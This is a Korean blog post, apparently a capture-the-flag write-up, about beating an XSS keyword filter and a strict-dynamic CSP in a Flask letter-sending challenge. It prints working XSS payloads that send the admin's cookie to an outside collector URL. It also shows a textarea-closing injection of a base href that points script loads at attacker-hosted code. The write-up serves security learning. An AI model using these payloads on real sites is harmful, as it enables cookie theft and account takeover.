python Flask + Nginx + MariaDB 조합
* utilites/__init__.py 보면 read_letter()에서 FLAG가 담긴 쿠키와 함께 특정 url에 접속 => XSS trigger 필요
def read_letter(url):
try:
FLAG = os.environ.get('FLAG')
except:
FLAG = 'fiesta{**redact**}'
cookie = {"name": "FLAG", "value": f"{FLAG}"}
cookie.update({"domain": "127.0.0.1", "path": "/"})
chrome_options = ChromeOptions()
CREDENTIALS = {
"email": "ef9a2d554146d1799d11d82982736ceb@exmaple.com",
"password": "b1c64b43724cec92b1a70dff8c38f917b6ba812129c8d00ba8b97037d6a68f9a"
}
for _ in ["--headless", "--window-size=1920x1080", "--no-sandbox"]:
chrome_options.add_argument(_)
driver = webdriver.Chrome(service=Service(executable_path='/usr/src/app/chromedriver'), options=chrome_options)
try:
driver.get("http://127.0.0.1:10000/login")
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.find_element(By.ID, 'email').send_keys(CREDENTIALS['email'])
driver.find_element(By.ID, 'password').send_keys(CREDENTIALS['password'])
driver.find_element(By.XPATH, '/html/body/main/div/form/button').click()
alert = WebDriverWait(driver, 5).until(EC.alert_is_present())
if alert:
alert_data = Alert(driver)
alert_data.accept()
driver.get("http://127.0.0.1:10000/")
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.add_cookie(cookie)
driver.get("http://127.0.0.1:10000" + url)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
except Exception as e:
print("Exception: ", e, flush=True)
driver.quit()
return False
driver.quit()
return True
* app.py 보면 /write 엔드포인트로 POST 요청 보낼 때 read_letter() 호출 이뤄짐 (letter 작성 시 admin이 확인하는 느낌)
@app.post('/write')
def write_post():
if 'email' not in session or 'uid' not in session:
return render_template('index.html', error='login first')
try:
email = request.form.get('email')
text = request.form.get('text')
if not check_invalid_email(email):
return redirect(url_for('main', error='invalid email'))
if not check_invalid_letters(text):
return redirect(url_for('main', error='invalid letter'))
if not create_letter(data={'email': email, 'text': text}):
return redirect(url_for('main', error='save error'))
letter_id = get_letter_non_check(uid=session['uid'])[0]
if letter_id == -1:
return redirect(url_for('main', error='ERROR'))
if not read_letter(url=f'/letter/{letter_id}'): # 해당 url로 접속 (w/ flag cookie)
return redirect(url_for('main', error='ERROR'))
return redirect(url_for('main', error='Send Letter'))
except Exception as e:
print("create letter error:", e, flush=True)
return redirect(url_for('main', error='ERROR'))
- 이메일 유효한 형식인지 필터링
- letter 유효한 형식인지 파악 => 키워드 기반 XSS 필터링 걸려있더라
def check_invalid_letters(letters: str):
FILTER_KEYWORD = ['script', 'javascript', "window", "on", "img", "document.", ".cookie", "this", "self"]
for keyword in FILTER_KEYWORD:
if keyword in letters.lower():
return False
return True
* /letter/[letter num] 엔드포인트에 접속 시 admin인지 확인하고 view.html을 렌더링해준다
@app.get('/letter/<int:letter_id>')
def letter_view(letter_id):
global NONCE
if 'email' not in session or 'uid' not in session or 'permission' not in session or session['permission'] != 1:
return render_template('index.html', error='not admin', nonce=NONCE)
# omit function body
return render_template('view.html', letter=letter, nonce=NONCE)
except:
return redirect(url_for('main', error='Not Found'))
* view.html은 XSS 취약점 존재한다
<div class="mb-3">
<label for="text" class="form-label">Write Letter</label>
<textarea class="form-control" id="text" name="text" rows="5" readonly>{{ letter[1] |safe }}</textarea> <!-- xss 취약점 발생 -->
</div>
python jinja2 템플릿에서 "| safe" 사용 시 escape 이루어지지 x = dangerous 문자들이 html entities들로 변환되지 x
시도 1) xss filtering 우회하여 payload 구현
<iframe srcdoc='<img src=`./xxxxx` onerror=location.href=`https://enzxig5im13lb.x.pipedream.net?`+(document[`cookie`])>'></iframe>
<iframe srcdoc='<script>location.href=`https://enzxig5im13lb.x.pipedream.net?`+(document[`cookie`])</script>'></iframe>
- iframe srcdoc: <iframe> 요소에 보일 웹 페이지의 HTML 코드를 명시
- html entities encoding 을 통해 각종 키워드 우회 가능
문제 1. CSP 걸려있어서 script 실행 불가능
@app.after_request
def after_request_csp(response):
global NONCE
response.headers.add('Content-security-Policy',
f"script-src 'strict-dynamic' 'nonce-{NONCE}' 'unsafe-inline' http: https:; object-src 'none'; style-src 'self'; object-src 'none'; img-src 'self'; "
f"require-trusted-types-for 'script';")
return response
- 'unsafe-inline' 과 'none' 있어서 (NONCE는 globally fixed) 스크립트 실행 가능할 줄 알았는데
- 'strict-dynamic' 결과 unsafe-inline 및 http: https: 같은 allowlist 기반 정책들 무시됨 => 즉 올바른 NONCE 값과 함께 script 파일을 로드해오는 식으로 exploit 해야함
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src
문제 2. textarea 내부의 내용이 HTML Tag가 아닌 일반 text로 해석됨
- csp 우회해도 exploit 안되길래 docker-compose build --no-cache / docker-compose up 해서 문제 환경 구축
(없앨 땐 down, --no-cache 옵션 부여해야 기존 docker 내용들 다 지워짐)
(물론 /letter/<letter_id> 접근 시 admin 검사하는 루틴 제거하여 xss trigger 되는지 확인)
- letter/1 들가서 xss 동작하나 테스트해봤더니 웬걸 그냥 일반 텍스트로 해석된 듯
<textarea class="form-control" id="text" name="text" rows="5">
<iframe srcdoc='<script nonce=`d9b667289258abee684c506d32fe99bdac36fe36a31241d96599a6df7019da07`>location.href=`https://enzxig5im13lb.x.pipedream.net?`+(document[`cookie`])</script>'></iframe>
</textarea>
이렇게 테스트해봤더니
textarea 내부의 내용은 단순 문자열로 취급됨, 즉 textarea 태그를 닫고 payload 작성 후 다시 여는 식으로 해결
어느 엔드포인트에 접속해도 script가 로드되는데 이거 base-uri 조작을 통해 해결할 수 있겠다
</textarea><base href="https://minseo25.github.io/"><textarea>
이런식으로 내용을 보내면 되겠다.
내 깃헙 서버에 해당하는 경로에 csrf payload 담긴 코드 업로드해두면 해결~
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Guest Book ver.01 + 02 (0) | 2023.09.11 |
---|---|
ejs@3.1.8 취약점 exploit (maybe 1-day?) (0) | 2023.09.09 |
php output buffering (0) | 2023.09.05 |
[Dreamhack CTF Season 4 Round #3] KeyCat (0) | 2023.08.06 |
[Dreamhack Wargame] File Vulnerability Advanced for linux (0) | 2023.07.17 |